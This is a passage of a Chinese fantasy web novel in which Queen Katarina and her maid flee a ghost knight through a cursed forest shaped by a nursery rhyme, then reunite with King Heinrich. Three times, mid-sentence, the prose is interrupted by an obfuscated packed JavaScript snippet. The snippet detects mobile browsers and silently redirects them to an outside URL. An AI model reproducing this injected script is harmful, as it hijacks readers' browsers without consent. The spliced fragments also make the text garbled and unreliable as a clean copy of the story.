头盔的面罩覆满了细密的黑色纹路，只留下一对空洞的眼窝，那里散发出冷峻的寒光。 “幽灵骑士！”卡特琳娜听简妮这样叫喊，但她根本来不及细细打听，就陷入了无尽的追逐战。 虽然她怀疑盔甲里到底有没有“人”，但幽灵骑士就是能看也能听。 突然，那幽灵骑士停下身来，似乎是在搜寻着什么，在探听着什么。一旦发现树林间轻微的喘息和急促的脚步，他就会立即转向，朝目标逼近。 他拔出长剑，刺了过去—— 是一只兔子，鲜血染红了积雪，鲜活的兔子像是被抽干了生命一样，瞬间干瘪，只剩下一张皮。 幽灵骑士转过身，继续往前，寻找他的目标。 简妮被吓得瑟瑟发抖，紧紧贴在卡特琳娜的旁边，哆嗦着牙齿，发出咯咯咯的声音。 卡特琳娜抓住她的胳膊，狠狠地瞪着她，让她不要再抖了。 马车在暴风雪中翻车之后，简妮从车里爬出来，便看到幽灵骑士将护送他们的宫卫一剑穿透。那剑差点就要切下她的脑袋，幸好是王后拉住她往森林里跑才救了她一命。 但幽灵骑士也追过来了，他要杀了她们！ 简妮实在太过于害怕，她想到自己可能会死，不由自主发出了轻微的呜咽。 “呜……” 幽灵骑士立即察觉到声响，将骷髅马调转了方向。 卡特琳娜差点被简妮气得厥过去，她拉住简妮的手腕，低声吼道：“跑！” 38. 幽灵骑士（3） 卡特琳娜拉着简妮在森林里狂奔，她从来不知道自己能跑得这么快。 幸好简妮瘦小，若是布莱恩的体型，她绝对是拉不动的。 想到布莱恩，卡特琳娜就难受，她好不容易培养了一个中餐入门的厨师，竟然被她带出来出了意外。 当时她从马车上往下跳，便目睹了幽灵骑士与卫兵之间的战斗。幽灵骑士的长剑邪异无比，似乎能将人的血肉侵蚀，一剑下去，护送她的卫兵都成了只剩人皮和骨架的尸体。 其中有两个卫兵看到同伴遇害，立即骑马逃亡。布莱恩从马车爬出来，连滚带爬不知道跑哪里去了，幽灵骑士便将攻击转向了车边被吓傻的简妮。 “幽灵骑士！”简妮惊呼，吓得闭上眼睛。 卡特琳娜立即捡起卫兵的长剑刺过去，转移幽灵骑士的注意力。她不会用剑，但她知道骑士有胸甲，比起心口，脖子才应该是他最脆弱的地方。 她眼看着她手中的剑刺进了面甲与身甲之间的缝隙，却没有任何“刺入”的手感，她立即意识到幽灵骑士是真正的“幽灵”。 卡特琳娜不管不顾，将剑插在幽灵骑士不存在的脖子里，立即拉住简妮逃跑。 她不认识路，胡乱跑到了一片枯林中，没想到幽灵骑士不追别人，就紧追着她和简妮不放。 “别哭了！”卡特琳娜被简妮的哭泣搞得心烦，她大声吼过去。 这女孩长得丑，哭起来更丑了！明明平日里干活非常麻利，怎么到了关键时候却如此不顶用？她实在后悔带简妮出来，本来是想着让自己生活更方便，但没想到反而是个麻烦！ 不过也算她害得简妮陷入危险，她还是有不多的责任心，不想轻易放弃这个丑姑娘。 简妮被卡特琳娜吼得哆嗦了一下，立即不敢再哭。虽然她非常害怕身后紧追不舍的幽灵骑士，但全洛尔兰的国民都知道，王后卡特琳娜才是恐怖榜榜首的存在！ 卡特琳娜有备而来，虽然她不知道自己在什么地方，但她身上带着许多魔法道具。逃跑的时候，在路边留下了镜子碎片，利用镜面形成画面和声音，混淆幽灵骑士的视听。 很快，她和简妮暂时摆脱了幽灵骑士。但这片枯林诡异非常，雾气厚重，弥漫着令人恐惧的氛围。 卡特琳娜不敢懈怠，没有停留在原地，放慢了脚步，摸索着往前。她时刻留意着周围的动静，一旦幽灵骑士追上来，她就要再次逃跑。 这里太怪了。 她已经感觉不到自己留下的镜子碎片的灵力。虽然她只是个魔法学学徒，但她能感受到洛尔兰整个王宫里的每一面镜子。 在这片迷雾中，留有她灵力的镜子碎片就像是滴入大海里的水，很快便与她断开联系。 不寻常。 她摸了摸自己空荡荡的胸口，米洛也不知道掉在了哪里。每次都是这样，遇到紧急的情况，谁也帮不了她，她只能靠自己。 明明是她准备给幽灵卡特琳娜的陷阱，现在她自己却陷入泥潭。真的是计划赶不过变化，她一直在刀刃上行走。 步步都是差池。 卡特琳娜出发时知道要坐马车，不用自己行动太多，穿着很厚但很漂亮的裙子。这下可好，裙摆拖地浸湿，越发沉重，实在是耽误事。 卡特琳娜发狠，将最表面那一层裙布撕扯下来，给简妮包扎伤口。在跑路过程中，简妮摔伤过，全靠她连拖带拽，不然人早没了。 “陛下！”简妮惊讶，没想到王后竟然要给她包扎？ “你一见到那个东西，就能叫出他的名字——幽灵骑士。”卡特琳娜趁着现在没那么紧急，想从简妮那里获得更多的信息，“幽灵骑士到底是什么？” 简妮微微愣了一下，似乎对卡特琳娜不知道幽灵骑士的存在而感到困惑。她抹掉脸上的泪水，任由卡特琳娜给她包扎。她回答道： “是，是我们洛尔兰的一首童谣。” “童谣？”卡特琳娜疑惑，这个世界里很多奇奇怪怪的事情，童谣里的幽灵骑士竟然出现在她面前，要杀了她。 她向简妮提议：“来，唱给我听。” 简妮犹犹豫豫，在王后的威慑下，不得不小小地唱出声音： “谁，在寒冬夜徘徊？ 我，黑熊说，藏在树影中， 我见白骨马儿行。 “谁，听见马蹄声？ 我，乌鸦说，穿过冷冽的风， 我听见他在追寻兔子。 “谁，吃掉了兔子？ 我，雪地说，尸体融化在白雪下， 我藏匿它的踪迹。 “谁，照亮黑夜？ 我，月亮说，透过云层光芒， 我照耀他的路。 “谁，带来寒霜？ 我，冬夜说，冷风中随行， 我带来冰冷的恐惧。 “谁，在夜里守候？ 谁，在风中低吟？ 我，幽灵骑士说， 徘徊幽暗森林，冷光闪烁剑， 我，低吟古老咒语。 我，献祭剑下亡魂。” 简妮断断续续的吟唱在寂静的枯林中飘荡，古老的旋律与寒风在空气中纠缠，令卡特琳娜也不禁后背寒毛起立。 很熟悉的感觉，像是她那个世界里的一首童谣《是谁杀了知更鸟》，一句一句童声吟唱，将杀死知更鸟的凶手揭晓。 但这首《幽灵骑士》的童谣却还有些区别，更具有洛尔兰的当地特色，寒冬深夜，彻骨冰冷。 没有米洛的实时解答，她只能询问简妮：“洛尔兰的童谣怎么这么诡异？你怎么知道刚刚那个奇怪的盔甲怪物就是童谣里的幽灵骑士？” 简妮回答说：“这首童谣是从很久远之前传到现在，据说是有很多人都在亚连士雪山以南的林地里见过幽灵骑士的身影。他会杀掉所有见过他的人，所以童谣告诫孩子们，不要在冬季的夜晚出门……” “既然他会杀掉所有见过他的人，那这首童谣有是谁写的？”卡特琳娜发出不理解的疑问。 简妮不比米洛，她回答不了卡特琳娜的问题，支支吾吾说不出话。走在前面的卡特琳娜突然停下，简妮差点撞到王后的背，吓得她差点脚软又要摔倒。 “我们来过这里。”卡特琳娜抚摸着树干，这棵树干被她做了标记。 每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632584|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经过约五十米的距离，她就会在旁边的树干上标记阿拉伯数字。这里的数是“1”，说明这是她第一次做标记时候的树。 怎么会这样？ 她们一直在往前走，竟然回到了原地。 卡特琳娜向四周张望，模糊不清，她甚至不知道现在是白天还是晚上，雾气太大了。她不知道时间，不知道方向，走回原处是很理所当然的事情。 该死。 “陛下……”简妮怕得不行，竟然抓住卡特琳娜的手，要知道平时她连直视自家王后都没有胆子，“那里，那里好像有什么东西……” 卡特琳娜朝简妮指的方向看过去，似乎确实有什么在移动，黑影重重，让她们分辨不清。 她让简妮安静，然后慢慢靠近过去，想要看清楚是什么。 “谁？”是人的惊呼声。 卡特琳娜松了一口气，立即拉着简妮走过去。她从声音就听出来是布莱恩了，他和另外三个卫兵一起，逃进了森林里。 “是我。”卡特琳娜从容地进入他们的视线。 “陛下。”他们立即单手摸对肩行礼。 卡特琳娜看着四人的样子，浑身泥泞，还有伤痕在外。不应该啊，幽灵骑士是追着她和简妮进来的，这几个男人怎么比她们还要狼狈？ 卡特琳娜略微感觉到不适，又说不上来。 “你们可知道这是哪里？”卡特琳娜询问。 四人摇摇头，最后是一个叫吉姆的骑士开口回答：“恐怕……是传说中的幽暗森林，就是童谣里提到的那个……” 他们都知道《幽灵骑士》的童谣。 卡特琳娜不得不追问下去，这是唯一的线索了，“除了童谣，还有其他关于幽灵骑士的说法吗？” 所有人都摇头，表示并不清楚。 卡特琳娜也没有别的办法，提议继续往前走，希望能找到出路，又不会碰到那个古怪的幽灵骑士。 由于她和简妮是女士，便由两个卫兵走在前面带路，布莱恩和一个卫兵断后，她们被保护在中间。 他们走了很长的距离，似乎还是在原地打转。 枯林里太安静了，卡特琳娜耳边似乎隐约响起简妮唱的童谣，但她使劲掐自己的手背会发现是走神。 是她太过于紧张，还是这片枯林有类似导致幻听的效果？ “陛下……”简妮突然拉住卡特琳娜的手。 她能感觉到简妮手心的温度，然后听到简妮贴住她耳边，用极其轻的音量说：“我记得……当时只有两个卫兵逃走了……” 卡特琳娜看着走在前面的两个卫兵，也能听到身后一个卫兵和厨师布莱恩的脚步声。她也想起来了，当时幽灵骑士一剑剑将护送她的卫兵都抽干血肉，只有两个骑着马的卫兵逃进了森林。 慌乱之中她没顾得上太多，但现在回忆起来，细节跟简妮说的能够对应上。 “你们的马呢？”卡特琳娜突然问，“我记得你们是骑着马逃走的。” 前面的卫兵突然停下，后面的脚步声也消失了。 绝对的寂静。 简妮紧紧握住卡特琳娜的手，恐惧地颤抖起来。 39. 幽灵骑士（4） 卡特琳娜并不认得随行的每一个卫兵，但对那个叫吉姆的很有印象。当时她去夜探地牢时，便是吉姆接应她，吉姆是前卡特琳娜安插在洛尔兰骑士团里的自己人。 这次离开洛尔兰城，她让安德鲁派人随行保护她的安全。也不知安德鲁是有意还是无意，竟派了吉姆在其中。 当时幽灵骑士对他们发动袭击，她并没有注意到被杀害的人中有没有他。但既然吉姆是幽灵卡特琳娜的人，那卡特琳娜就不可能对他信任。 “吉姆，你们的马去哪里了？” 卡特琳娜见没人回答她的话，点名了吉姆询问。 旁边的简妮却在这时候惊声尖叫起来：“陛下！！！他们不见了！啊啊啊！” 卡特琳娜立即捂嘴她的嘴巴，低声警告她：“不要叫这么大声！你想把幽灵骑士再引过来吗？” 简妮惊恐地点点头，紧紧贴着卡特琳娜不放。 卡特琳娜回头去看，本来应该在她们身后的布莱恩和另一个卫兵消失了。她观察地面，明明有六个人走过，却只有两个女士鞋的脚印。 她惊异非常，再立即转回头看前面，两个卫兵模模糊糊的影子在雾中，飘飘渺渺像是幽灵。 她心跳如雷，从袖口拿出一面小镜子来，将灵力集中在上面。 这是最基础的镜子魔法之一，能够通过镜子看到幻象下的真实，她嘴里念诵起咒语：“影中隐，心中显，万物皆有镜像，唯像为真。” 她向镜面瞥去，看到前面那两个卫兵的镜像高大且诡异，令她瞳孔紧缩。趁着卫兵还没有转头，她立即紧抓住简妮的手，一步步慢慢往后退，尽量不踩到枯枝发出声音。 但她早前的提问已经引起了“卫兵”的警觉，那两个影子转过身，从雾中冲向了她。 近两米的影子从迷雾的深处跃然现身。浓雾在树间缭绕，模糊了它具体是的形貌。凶狠的目光闪动，沉重的呼吸喷涌，翻飞的雪片和泥土捶打着枯林。 是黑熊。 黑熊的动作迅猛且精准，巨大的熊掌向她们拍过来。 卡特琳娜立即推开简妮，在地上翻滚避开了猛扑，吼叫了一声：“分开跑！” 简妮恐惧非常，但好歹比一开始有了更多逃跑的经验，她仅仅犹豫了两秒便朝来时的方向跑去。 黑熊却完全没有在乎简妮，它继续朝卡特琳娜扑。卡特琳娜旁边正好有一棵大树，她往后面躲避，巨力的熊掌竟然将树干直接拍断。 她震惊非常，不仅仅是卫兵突然变成黑熊，还有面前这黑熊的样子。它并不像是普通的黑熊，毛发漆黑湿润，上面似乎有着血色光泽，仿佛沾染了无数受难者的血迹，整只熊散发出刺鼻的血腥气息。它的眼睛如同燃烧的血池，透出无尽的怨恨和绝望。 它是一只被诅咒的黑熊，它认识她。 黑熊冲她咆哮，枯林都跟着颤抖。 卡特琳娜现在非常后悔她只学习了魔法而没有太严格锻炼体能，她根本不可能跟一只黑熊正面对抗。 她只能跑。 她继续扔掉镜子碎片，混淆黑熊的试听。她根本来不及回头去看，只能用尽全力疯狂往前冲刺。 但镜子碎片似乎不再起作用，黑熊的咆哮和冲撞树干的声音一直在她身后。那双怨毒的眼睛注视着她，令她无法躲开。 到底……到底是怎么搞的？ “谁，在寒冬夜徘徊？ 我，黑熊说，藏在树影中， 我见白骨马儿行……” 黑熊。 卡特琳娜想起了简妮唱的那首童谣，黑熊是出场的第一个角色，它在寒冬夜徘徊，藏在树影中，看到了经过的白骨马…… 现在已经是晚上了？ 如果她让黑熊看到白骨马的话，会不会让童谣继续往下进行，换成下一个场景？ 她扔出好几面稍大的镜子来，将幽灵骑士白骨马的形象复制在其中。当然只是那匹白骨马，她可不愿意见到幽灵骑士。 她的魔法并不算太精确完美，但幸好枯林中雾气重重，足够混淆黑熊的视线。一匹与幽灵骑士白骨马完美重合的白骨马镜像进入黑熊的视线，它的脚步变得没那么急切。 有效！ 卡特琳娜这才敢回头去看，只见那只黑熊竟然往树上爬去，没有再追逐她。她刚刚松了一口气，准备坐在地上歇会儿，耳边却响起了熟悉的马蹄声。 她制造的镜像并没有维持很久，她也没有做出任何音效。 不是吧？难道是幽灵骑士又来了？ 卡特琳娜浑身冒汗，却不得不再次戒备起来。她后悔没有从卫兵的尸体旁再找一柄长剑拿着，她只能靠自己了。 她迅速躲在一棵树后，凝聚力量在手腕的镯子上，“圣泪”时灵时不灵，这次竟然发挥出了作用。她手中立即出现了一柄类似海因里希的冰雪审判之剑的宝剑，尽管卡特琳娜剑术不精，但也不是不能跟幽灵骑士拼命。 她屏息注意着雾气中的马蹄声，她准备在白骨马经过的时候，伸出长剑将马腿给切了！ 到时候幽灵骑士掉落下来，她再想办法逃跑。 卡特琳娜想到什么就去做，在马蹄声快要接近的时候，她迅速冲了出去，挥动长剑—— “嘶——” 鲜血喷到了她的脸上，令她感到疑惑，这马竟然不是白骨的吗？ 马脚被她生生切断，白马摔倒在地，连带上面的骑手也摔落下来。但骑手身法敏捷，在地上翻滚了两圈迅速站立起来。 后面另外一匹马扬起前腿被骑手止住了步伐，也发出“吁——”的声音。 卡特琳娜看清眼前的马和人，略微有些呆住了。 “卡特琳娜！你干什么！你为什么要伤我的马？”海因里希怒不可遏，他冲过来将扑在地上的卡特琳娜给抓起来。 卡特琳娜满脸鲜血，本来漂漂亮亮的长裙满是泥印，狼狈不堪。 她没想到海因里希会出现在这里，有些怀疑是不是这个幽暗森林的诡异让她产生了幻觉，但海因里希燥热的体温让她意识到这是真正的人类。 而且，她能感应到米洛的存在。 海因里希把她的米洛带过来见她了。 她感动不已，差点哭出声来，立即伸手环住海因里希的脖子，一把将人抱住。所有的紧张和恐惧终于得到了缓解，她不用自己一个人在这无边无际的枯林和白雾里逃跑了。 “老公！你怎么现在才来！”怪不得简妮要哭，她现在也想哭。 海因里希震惊，他还是第一次听到卡特琳娜这样叫他，这是民间妻子对丈夫的俗称，很少在王室中出现。他本来还在生气，现在却愣住， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632585|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松开了手，任由卡特琳娜整个人挂在他的脖子上。 真的是，脏死了…… “国王陛下！您没事吧？”布莱克从马上跳下来，想要关心海因里希，却见国王和王后抱在一起，一时间也不知道该不该走近。 他挠了挠头，转过身去查看被卡特琳娜切了腿的可怜马儿，他将断下来的马脚捡起，试图给马儿接回去。 “镜子……镜子，我的镜子是不是在你那里？”卡特琳娜询问里希。 她微微抽了抽鼻子，并没有真的哭出来。她往海因里希身上摸，非常急切地想要找回米洛。 没有米洛，她相当于眼睛瞎了！不然她怎么会看错，她还以为是幽灵骑士又来了！ 她摸到海因里希的胸口，感应到米洛的存在。她激动地将手往衣服里面伸—— “你不要乱摸。”海因里希捉住了她的手腕，一张脸冷得快掉下冰渣。 卡特琳娜也反应过来自己有些不太礼貌，但心情实在着急，催促道：“那你赶快把我的镜子还给我啊！” 海因里希用另一只手伸进胸口，将项链坠拿了出来。 卡特琳娜一把抢过去，将项链坠挂回了自己的脖子上。她还不太放心，怕项链坠可能会掉，又拿下来绕在自己的手腕，留了一点链子紧紧抓在手里。米洛在她身边，她终于安心许多，这样总不会再出问题了吧？ “你的剑。”海因里希帮她把地上的长剑捡起来，然后发现这柄剑跟自己的剑一模一样。 卡特琳娜立即从他手里抢回自己的宝剑，她想让“圣泪”变回手镯子，却不太能够了。 又不灵了。 海因里希冷冷地看着她的动作，不言语。 卡特琳娜这才反应过来自己需要解释一下，便说：“我，我还以为你们是敌人，所以不小心伤了你的马，不是故意的。至于这个剑……是一把仿制品而已……” 她避开里希的目光，去看可怜的马儿。马左前脚被生生切断，一地鲜血，惨不忍睹。 “怎么样？”她问布莱克。 布莱克摇了摇头，说：“伤口太大，失血过多。” 卡特琳娜对马儿感到抱歉，她也不是故意要伤害它，她想去摸摸马的头，被马儿惊恐的避开了。 海因里希过来，用冰雪魔法将马的断肢处冻在一起，摸了摸马头安抚，然后他拿出一条黑布蒙住马的眼睛。 “你要做什么？”卡特琳娜疑惑。 海因里希拔出腰间的长剑，刺进了马的心脏。 冰雪魔法让它瞬间冻结成冰，包括地上的血迹，它连惨叫都来不及发出。 “为什么要杀了它？”卡特琳娜震惊，她不理解，拉住海因里希质问。 “不都是因为你吗？”海因里希幽幽地看着她，回答说，“幽暗森林太过诡异，它的血腥味会引来什么？这个风险我们都冒不起。一匹残缺的马，在这种地方只会是拖累，不如给它一个痛快。” 是的，卡特琳娜松开拉住海因里希的手，她无法反驳他的话。在她伤了马脚的瞬间，这匹马就注定活不下去了。 海因里希收回了冰雪审判之剑，发现卡特琳娜愣着。 恶毒的巫婆竟然也会心生愧疚？他觉得太可笑了些，但还是没忍住补充了一句：“它并没有真的死去，只是被冻住了。” 40. 幽灵骑士（5） 卡特琳娜从海因里希那里知道，她激活的冰蝶去到军营寻到他。然后他跟随冰蝶找到了事发现场，现场只有马车，没有任何生物的踪迹。 海因里希请来了雪圣女，利用雪踪术通过项链坠的气息寻找卡特琳娜的位置。然后他、布莱克和雪圣女就来到了这个幽暗森林，而随行的士兵却没能进来。 “你们不知道怎么出去吗？”卡特琳娜非常失望。 幽暗森林变得更加黑暗了，现在的能见度非常低。所幸海因里希和雪圣女隔拿着一盏冰雪提灯，微弱的光亮让他们能够在林中行走，不至于撞上旁边的枯树。 他们手里的提灯就是当时冰雪审判伊桑时雪圣女拿着的那一种，其中蕴含着冰雪的魔力。 “幽暗森林是亚连士雪山的传说，很少有人能进出。”后面的布莱克出声回答，“我们能够进入这里，是乞求了冰雪女神的指引，是神给予的恩赐。” 之前海因里希骑马在前，布莱克和雪圣女共骑另一匹马。如今只有一匹马能用，但他们有四个人，就变成了布莱克牵着马，大家步行往前。 “不能再让冰雪女神恩赐我们出去吗？”卡特琳娜问。 海因里希听到她无脑的要求不禁皱眉，睨了她一眼，说：“你以为请求神恩的雪踪术有这么好进行吗？需要非常充分的仪式准备，还要满足极其苛刻的仪式条件……” “知道了知道了，我就是随口一说。”卡特琳娜不爱听他说话，打断道。 冷淡又没耐心的男人，卡特琳娜翻了个白眼，还是问她家米洛好！ “我的卡特琳娜。”米洛很高兴能在卡特琳娜身边，回答的声音显得欢快愉悦，“据记载，幽暗森林比洛尔兰还要历史悠久。它最早在创世纪五百年左右被发现，属于塔普山脉的活动性森林。” 她解释得非常详细：“塔普山脉西至风暴洋，东至死亡谷，几乎贯穿整个北大陆北部，是划分拜厄、莫里安及周边数个小国的地理分界线。亚连士雪山是塔普山脉海拔最高的位置，也是幽暗森林被目击出现次数最多的地方。 “幽暗森林的存在至今是一个谜，它在多个地方被目睹，但都在塔普山脉一带，被目睹的时间也大多发生在冬季。可以确认的是，它的存在与幽灵骑士的传说有关。 “目击者都是先目击了幽灵骑士的身影，再发现自己进入了幽暗森林，相关记载大多由幸存目击者口述。遗憾的是，幸存者从幽暗森林出去之后，都会出现严重的精神异常，并在短时间内暴毙。 “所以，关于幽暗森林的记载是否真实，并没有明确的答案。后人根据各种各样的说法，创作了《幽灵骑士》的童谣，告诫孩子不要在冬季的夜晚在野外乱跑。” 卡特琳娜一边听，一边将灵力集中在手里的长剑，但什么都没有发生。也不知道是“圣泪”没起作用，还是这个森林是真实存在，并非是像之前的梦境或镜中世界那样虚幻的空间。 如果它真的是“圣泪”，拥有制造真实、破除虚幻的能力，并且幽暗森林确实是虚幻的概念，那她或许能依靠它离开这里。 卡特琳娜将自己先前的遭遇告诉了米洛，请她帮忙分析。 米洛尽心尽责，思索了好一会儿，说：“我的卡特琳娜，根据你的描述，不论是幽灵骑士还是多出来的卫兵，亦或者是从雾中冲出的黑熊，他们应该都是被诅咒的幽灵。他们具有幽灵的属性，没有真实的形体，能够变化形态，依附于幽暗森林存在，可能是诅咒的产物。” 卡特琳娜后悔没有来得及学《诅咒学》，这是被多个国家明令禁止的魔法类型，但前卡特琳娜的魔法屋内有非常多相关的书籍。卡特琳娜恶补了魔法学基础，却忽略了这种针对性的知识点。 这会儿让米洛临时给她补习，不仅浪费她的灵力，也没有太多时间去专注。 她的注意力在更重要的地方，她说：“黑熊不可能是单纯被你们一行人的到来吓跑，我想知道它突然放弃追我的原因，是不是我根据童谣制造的白骨马镜像？那首童谣，与这片森林里发生的事情会是对应上的吗？会不会跟诅咒的源头有关？” 对于这些问题，米洛还没有太多线索，暂时回答不了。 倒是海因里希突然扯了卡特琳娜的袖子，提醒说：“别走神，跟紧点。” 她才没有走神，但又不能跟他坦白米洛的存在，于是默不作声，靠近了他继续走。 这一路上没有再遇到什么奇怪的诡异，只是周遭环境越发黑暗，提灯的光亮似乎也受到黑暗的侵蚀，能照到的范围越来越缩窄。 卡特琳娜不由自主紧贴着海因里希走，她害怕转眼间这人会像之前走在她身后的布莱恩一样消失。 “……” 海因里希察觉到卡特琳娜的动作，心里略微不适应，提醒道：“你离我太近，会绊住脚。” “哦。”卡特琳娜走到另一边去，突然一下拉住海因里希空出来的那只手，两人的掌心合在了一起，“这里太诡异，我们最好是有肢体接触，不然万一你突然变成鬼了该怎么办？” 海因里希本来下意识想要抽回手，但听到她这样说，便没有再动作，任由她拉着。明明是他该害怕她突然变成鬼了才对吧？本身就长得像极了女鬼。 他用眼角的余光去观察卡特琳娜，她脸上的马血已经被擦掉，但还留有淡红色的痕迹和极其微弱的血腥味。 她染成红棕色的头发在黑暗中变得稍浅些，像是火焰熄灭燃烧到了尽头，等火焰彻底熄灭，或者这颜色会变成跟灰烬一样。她眼眸中碧绿也变得不明显，似乎要褪回去以前那样苍白的银。 如果失去了这些艳丽的色彩，她还会是世界上最美丽的女人吗？ 海因里希心里不禁这样想。 “快看！那里有光！”卡特琳娜摇晃海因里希的胳膊。 海因里希朝她指的方向看过去，是林中的一间木屋。 木屋孤零零地矗立，木板已经斑驳剥落，风霜将其侵蚀成了暗沉的灰色。屋顶上覆盖着一层厚厚的冰霜，形成了扭曲的冰柱，犹如尖锐的利刃。屋子的窗户早已破碎，窗框的残骸如同空洞的眼眶，透过这些裂缝，可以看到内部的空间，闪耀着微弱的烛光。 门板半掩，仿佛随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632586|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时会被风吹开，但又像被某种无形的力量所阻挡。 “要过去吗？”卡特琳娜问。 虽然她很激动能有新的发现，但这木屋看起来实在是过于诡异了些。 “等等。”海因里希拉住她，让她先不要心急。 一只冰蝶从他手中的提灯飞出，往木屋破碎的窗飞去，进了里面。海因里希凝神片刻，说：“没有危险。” 他们走到了木屋外面，试着拉开半掩的门，往里面看去。 里面空旷无比，没有任何家具或装饰，布满蛛网和尘土，明显是被废弃了。发出亮光的是一只立在地面的红色的蜡烛，蜡烛周围似乎有什么浅淡的图形，仔细看过去，是蜡笔或者炭石化的某种仪式的符号。 海因里希确定没有危险，但还是准备先试探一下。他熄灭了手中提灯的光，松开了卡特琳娜的手，自己一个人走进去。 布莱克准备将马儿拴在屋子外面，正拉着缰绳找固定物。 卡特琳娜突然有种惊悚感，她立即抬头，浓郁的黑色欺骗了她的眼睛。屋顶上站着一排的乌鸦，它们察觉了她的视线，立即叫喊着飞起来。 乌鸦。 卡特琳娜想起了童谣的第二段： “谁，听见马蹄声？ 我，乌鸦说，穿过冷冽的风， 我听见他在追寻兔子。” 她看向拉着缰绳的布莱克，大声提醒道：“小心！” 但是已经来不及了，在乌鸦起飞的时候，布莱克的马突然发了狂，扬起前蹄挣脱了缰绳的束缚。它周身弥漫起黑色的雾气，散发出异样的血腥。它嘶叫了一声，开始往木屋门口站着的雪圣女冲过去。 布莱克没有提防，被缰绳的拉力甩得倒在地上。卡特琳娜眼看着马冲过来，立即将一边的雪圣女扑到，避开狂马的冲撞。 木屋不堪一击，被狂马撞得几乎崩塌。 布莱克立即翻身跳起来叫喊海因里希：“陛下！” 因为房屋的垮塌和周遭的黑暗，他们根本看不到海因里希的身影。 兔子，卡特琳娜四周张望，想要找童谣中提到的兔子。没有兔子，这么冷的冬天怎么可能会有兔子？ 那只马不是在追寻兔子吗？ 它撞倒了木屋，自己却毫发无伤，竟然在废墟中调转了方向，又向卡特琳娜和雪圣女所在的方向冲过来。 不是吧？她们是兔子？ 卡特琳娜感觉惊异，她立即与雪圣女拉开距离，往另一个方向跑。然后，她就看到那匹狂马没有犹豫地朝着雪圣女冲过去。 “雪盾！”布莱克挡在了雪圣女的面前，用魔法手势在身前形成了一个由冰雪筑成的盾牌。 但发狂的战马竟将天气术士的雪盾直接撞破，嘶吼着冲向雪圣女。 雪圣女手中的冰雪提灯的白光，照出了她脸上的恐惧。她不过是一个哑女，连尖叫都发不出来。 “把灯丢掉！”卡特琳娜大叫着。 原本浅棕色的战马变得深黑，几乎融入了幽暗森林的夜，它如一支淬毒的利箭，狠狠地扎向手握提灯的蓝发少女—— 41. 幽灵骑士（6） 马蹄就差两步就踩在雪圣女的身上，她听到卡特琳娜的呼喊，立即将手中的冰雪提灯扔掉。 海因里希这时候也从坍塌的木屋中冲了出来，一剑刺向发狂的战马。 在冰雪提灯掉在地上碎裂之后，整个世界都陷入了无尽的黑暗之中。 卡特琳娜分辨不清是自己瞎了还是怎么样，听到一些慌乱的脚步和重物倒地的声音。她心里砰砰直跳，希望雪圣女不会出什么事。 雪圣女是能够与冰雪女神沟通的宗教象征，也是请女神再降下恩典让他们离开这个古怪的幽暗森林的重要媒介。 “你们没事吧？”卡特琳娜询问着，在黑暗中一步步挪动过去。 她离雪圣女应该只有七八米远，她走到了那个位置，却什么都摸不到，也没有人回应她。 “你们人呢？” 安静得要命，卡特琳娜几乎只能听到自己的心跳。 她突然发现微弱的光亮，光源是从她身后发出，不同于冰雪提灯稳定的白光，这个光线有些摇摇晃晃。 她能看到自己的影子印在墙上，自己现在似乎出现在了室内。有一只手的影子，正在自己的肩膀上方，准备拍下去。 她的心脏快跳到嗓子眼了。 “谁！”卡特琳娜转身质问。 “啊！”一个女人的尖叫声，她连连后退了好几步。 卡特琳娜这才看清楚突然出现的人是谁，是简妮，她手里拿着一盏蜡烛，像极了刚刚卡特琳娜刚刚看到的空木屋地上的那种蜡烛。 她逐渐适应了光线，发现自己身处一座木屋之中。 是刚刚的那座木屋吗？不对啊，木屋不是被狂马撞倒了吗？ “怎么是你！”卡特琳娜警惕地打量着眼前的简妮。 说话间，卡特琳娜从袖口取出一面镜子，她通过镜面观察眼前人的真伪，发现确实是简妮无误。 她松了一口气。 “陛下。”简妮看清是卡特琳娜后，也松了一口气，“我，当时那只黑熊扑过来，我吓坏了。您说分开跑，我立即跑起来。我跑了好久好久，发现了这间屋子，便进来躲避。我真的太累了，眯着眼睛睡了一会儿。刚刚听到了您的声音，走过来一看，竟然真的是您。” 卡特琳娜环顾四周，这间木屋与她刚刚见过的那间坍塌的屋子确实很像，但里面没有画出的奇怪的图形和符号。 “蜡烛是哪里来的？”卡特琳娜问。 简妮愣了一下，喃喃说：“我……我也不知道，睡醒之后，它，它好像就在我手里了。” 怪事。 卡特琳娜从简妮手里接过蜡烛仔细查看，并没有发现什么异样。她皱起眉头，走到窗边，发现外面下着大雪。 积雪非常深，几乎有半米高了。 “什么时候开始下雪的？”她又问。 